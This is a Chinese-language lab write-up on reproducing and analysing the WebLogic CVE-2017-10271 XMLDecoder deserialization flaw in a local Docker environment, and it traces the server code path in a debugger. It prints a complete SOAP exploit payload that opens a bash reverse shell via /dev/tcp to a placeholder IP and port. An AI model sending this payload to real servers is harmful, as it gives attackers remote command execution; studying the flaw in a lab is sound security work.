CVE-2017-10271 Weblogic 命令执行
借此来学习idea远程调试与分析。
该漏洞主要是WebLogic Server WLS组件造成的远程命令执行漏洞,是由wla-wsat.war触发的。
可以触发该漏洞的URL:
http://192.168.255.128:7001/wls-wsat/CoordinatorPortType http://192.168.255.128:7001/wls-wsat/CoordinatorPortType11
等
在yml文件里面加上调试窗口的端口9001时,后面在docker容器里面也要
debugFlag="true" DEBUG_PORT=9001
添加该端口进去.
如何配置docker搭建环境可以参考:
https://xz.aliyun.com/t/10172
漏洞复现
用Burp抓包,写入Payload,反弹shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/IP/port 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
在搭建环境目录下的README就有payload
搭载Payload发送
nc监听,成功反弹shell
漏洞分析
首先在WLSServletAdapte文件这里打个断点
然后尝试访问或者发包,已经开始调试了
这里来看看左边的run:221,应该是程序不间断地在提供服务的基础
在run:1490 ServletRequestImpl的1214行这里可以看到wls-wsat.war
在这个项目里面找到 wls-wsat.war
是个压缩文件解压下来,打开web.xml,可以看到CoordinatorPortType 页面payload的由来
继续调试WorkContextServerTube类的processRequest方法中来处理Post传入的xml数据,就是var1
然后再readHeaderOld()方法里面,是去读取xml
跟进过来,在var6这里下断点
这里可以看到var6就是我们所传入的xml内容了
这里的方法就是获取到xml然后用ByteArrayOutputStream转换成字节流(也就是序列化了),赋值给var4
跟进到WorkContextXmlInputAdapter(),这里就是把var4传到XMLDecoder()
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
继续跟进到WorkContextLocalMap类的receiveRequest()方法
这里调用了WorkContextEntryImpl的readEntry()方法
继续跟进,可以看到readUTF()这里调用xmlDecoder()
在readUTF()这里jump过去,就看到了xmlDecoder调用了readObject(),来对字节流反序列化